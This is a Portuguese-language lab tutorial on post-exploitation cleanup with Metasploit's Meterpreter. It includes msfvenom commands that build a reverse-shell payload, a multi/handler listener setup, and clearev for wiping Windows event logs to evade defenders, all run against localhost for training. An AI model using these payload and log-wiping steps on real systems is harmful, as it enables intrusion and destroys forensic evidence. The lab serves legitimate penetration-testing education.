Limpar um Sistema Após um Engajamento Usando Meterpreter

Kali LinuxBeginner
Pratique Agora

Introdução

No campo de testes de penetração e red teaming, obter acesso a um sistema alvo é apenas parte da missão. O que você faz após obter acesso, e igualmente importante, antes de se desconectar, é crítico. Essa fase é conhecida como pós-exploração. Um componente crucial da pós-exploração é a limpeza: o processo de remover todos os vestígios da sua presença do sistema comprometido.

Deixar para trás ferramentas, logs ou alterações no sistema pode alertar administradores de sistema e equipes de defesa (blue teams) sobre suas atividades, levando ao fracasso do engajamento e à correção das vulnerabilidades que você utilizou. O Meterpreter, um payload poderoso dentro do Metasploit Framework, fornece várias ferramentas para auxiliar nesse processo de limpeza.

Neste laboratório, você aprenderá os passos fundamentais para limpar um sistema após um engajamento usando o Meterpreter. Você praticará a obtenção de uma sessão, a limpeza de logs de eventos, a exclusão de arquivos e a compreensão da importância de não deixar rastros.

Obter uma sessão Meterpreter em um alvo

Nesta etapa, antes de podermos praticar a limpeza de um sistema, primeiro precisamos obter acesso a ele. Simularemos isso criando um payload com msfvenom, configurando um listener no Metasploit Framework e, em seguida, "executando" o payload em nossa própria máquina para obter uma sessão Meterpreter em localhost.

Primeiro, abra um terminal e use msfvenom para gerar um payload Meterpreter para Linux. Este comando criará um arquivo executável chamado payload.elf em seu diretório atual (~/project).

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Você deverá ver uma saída indicando que o payload foi gerado com sucesso:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

Em seguida, inicie o console do Metasploit Framework. O flag -q faz com que ele inicie silenciosamente, sem exibir o banner.

msfconsole -q

Assim que estiver no prompt do msfconsole, você precisará configurar um listener para capturar a conexão do payload. Usaremos o módulo exploit/multi/handler.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

O comando exploit -j inicia o listener como um job em segundo plano, para que você ainda possa usar o console. Você verá uma mensagem indicando que o handler foi iniciado.

Agora, abra uma nova aba de terminal clicando no ícone + na janela do terminal. Nesta nova aba, torne o payload executável e execute-o.

chmod +x ~/project/payload.elf
~/project/payload.elf

Volte para a sua primeira aba de terminal com o msfconsole. Você deverá ver uma mensagem indicando que uma sessão Meterpreter foi aberta.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

Para interagir com esta nova sessão, use o comando sessions.

sessions -i 1

Seu prompt deverá mudar para meterpreter >, indicando que você agora está no controle da sessão.

Usar o comando clearev para limpar logs de eventos

Nesta etapa, discutiremos um dos comandos de limpeza mais importantes no Meterpreter: clearev. Um objetivo principal da limpeza é remover evidências de sua atividade dos logs do sistema. Em sistemas Windows, esses logs (Aplicativo, Sistema e Segurança) são uma fonte primária de informação para investigadores forenses.

O comando clearev foi projetado especificamente para limpar esses três principais logs de eventos em um alvo Windows.

Nota Importante: Nossa sessão Meterpreter atual está em um sistema Linux. O comando clearev não funcionará aqui e produzirá um erro. Estamos demonstrando seu uso para fins educacionais, pois é uma ferramenta crítica quando seu alvo é Windows.

Dentro do seu prompt meterpreter >, digite o comando para ver o resultado em nossa sessão Linux:

meterpreter > clearev

Você verá uma mensagem de erro porque o comando não é implementado para sistemas Linux.

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

No entanto, se você estivesse em uma sessão Meterpreter em uma máquina Windows, a saída seria semelhante a esta, indicando sucesso:

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

Compreender quais ferramentas funcionam em quais sistemas operacionais é uma habilidade chave para um testador de penetração. Mesmo que não tenhamos conseguido executá-lo com sucesso, você agora conhece o comando principal para limpar logs de eventos em um alvo Windows.

Excluir manualmente quaisquer arquivos ou ferramentas carregados

Nesta etapa, você aprenderá a remover manualmente arquivos que pode ter carregado ou criado no sistema alvo. Scripts automatizados são úteis, mas você deve sempre realizar uma verificação manual para garantir que nenhuma ferramenta, script ou payload seja deixado para trás.

Em nosso cenário atual, o arquivo payload.elf que criamos na Etapa 1 está agora no sistema "comprometido". Devemos excluí-lo para cobrir nossos rastros. Podemos fazer isso diretamente de nossa sessão Meterpreter.

Primeiro, use o comando ls dentro do Meterpreter para listar os arquivos no diretório atual do alvo. Você deverá ver o arquivo do seu payload.

meterpreter > ls

A saída listará os arquivos em /home/labex/project:

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

Agora, use o comando rm no Meterpreter para excluir o arquivo.

meterpreter > rm payload.elf

Você deverá ver uma mensagem de confirmação:

[*] rm: Removed /home/labex/project/payload.elf

Para confirmar que o arquivo desapareceu, execute o comando ls novamente. O arquivo payload.elf não deverá mais ser listado. Esta é uma etapa crítica para garantir que você deixe o sistema como o encontrou.

Reverter quaisquer alterações de sistema feitas durante a pós-exploração

Nesta etapa, abordaremos outro aspecto da limpeza: reverter alterações de sistema. Durante a pós-exploração, você pode adicionar contas de usuário, alterar permissões de arquivo ou criar tarefas agendadas para persistência. Todas essas alterações devem ser desfeitas antes de você sair.

Simularemos isso criando um arquivo temporário para representar uma modificação de sistema e, em seguida, o removeremos.

A partir do seu prompt meterpreter >, vamos criar um arquivo chamado temp_change.txt. Podemos fazer isso usando o comando execute do Meterpreter para executar o comando touch no sistema alvo.

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

Este comando executa touch com o argumento /home/labex/project/temp_change.txt. Você pode verificar sua criação com ls.

meterpreter > ls

Agora, como parte da nossa limpeza, devemos remover este arquivo. Use o comando rm assim como você fez na etapa anterior.

meterpreter > rm temp_change.txt

Este é um exemplo muito simples, mas o princípio se aplica a alterações mais complexas. Se você adicionou um usuário, deve excluir esse usuário. Se você modificou um arquivo de configuração, deve restaurá-lo de um backup ou reverter as alterações manualmente.

Finalmente, nossa limpeza no alvo está completa. Podemos agora sair da sessão Meterpreter e, em seguida, sair do console Metasploit.

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

Isso o retornará ao seu prompt de terminal regular.

Discutir a importância de não deixar rastros

Esta etapa final é uma revisão conceitual de por que a limpeza é uma das fases mais críticas de um engajamento de segurança profissional. Não há comandos para executar aqui; o objetivo é entender a importância estratégica do que você acabou de praticar.

Principais Razões para uma Limpeza Completa:

  1. Segurança Operacional (OPSEC): O objetivo principal é permanecer indetectado. Qualquer artefato que você deixar para trás — um arquivo, uma entrada de log, um processo em execução — é uma pista para equipes de defesa (blue teams) e respondedores a incidentes. Ser detectado pode arruinar toda a sua operação, incluindo as ferramentas e a infraestrutura que você utilizou.

  2. Profissionalismo e Integridade: Em um teste de penetração profissional, você é contratado para avaliar a segurança, não para danificar os sistemas do cliente. Deixar um sistema em um estado modificado é pouco profissional. Restaurar o sistema ao seu estado original demonstra cuidado e respeito pelo ambiente do cliente.

  3. Prevenção de Danos Não Intencionais: Ferramentas ou scripts deixados para trás podem causar instabilidade no sistema. Pior ainda, um backdoor que você criou para acesso pode ser descoberto e usado por um ator malicioso, tornando o sistema menos seguro do que quando você começou. Sua responsabilidade é melhorar a segurança, não criar novas vulnerabilidades.

  4. Manutenção de Acesso Futuro: Em um engajamento de equipe vermelha (red team) que pode abranger semanas ou meses, limpar após cada pequena ação garante que seu acesso de longo prazo não seja descoberto prematuramente. Se você for detectado, os defensores corrigirão as vulnerabilidades e fecharão os pontos de acesso que você estava utilizando.

Em resumo, a limpeza eficaz não se trata apenas de excluir arquivos. É uma mentalidade que prioriza discrição, profissionalismo e a missão principal do engajamento. Ela separa hackers amadores de testadores de segurança profissionais.

Resumo

Neste laboratório, você percorreu o processo essencial de limpeza de um sistema comprometido usando o Meterpreter. Esta é uma habilidade fundamental para qualquer hacker ético ou testador de penetração.

Você com sucesso:

  • Obteve uma sessão Meterpreter criando e executando um payload.
  • Aprendeu sobre o comando clearev e seu caso de uso específico para limpar logs de eventos em sistemas Windows.
  • Praticou a exclusão manual de arquivos de um sistema alvo usando o comando rm do Meterpreter.
  • Simulou a reversão de alterações de sistema criando e removendo um arquivo temporário.
  • Refletiu sobre a importância crítica da limpeza para manter a segurança operacional e o profissionalismo.

Ao dominar essas técnicas, você pode garantir que seus engajamentos de segurança não sejam apenas eficazes, mas também responsáveis, deixando o ambiente alvo como você o encontrou e minimizando o risco de detecção.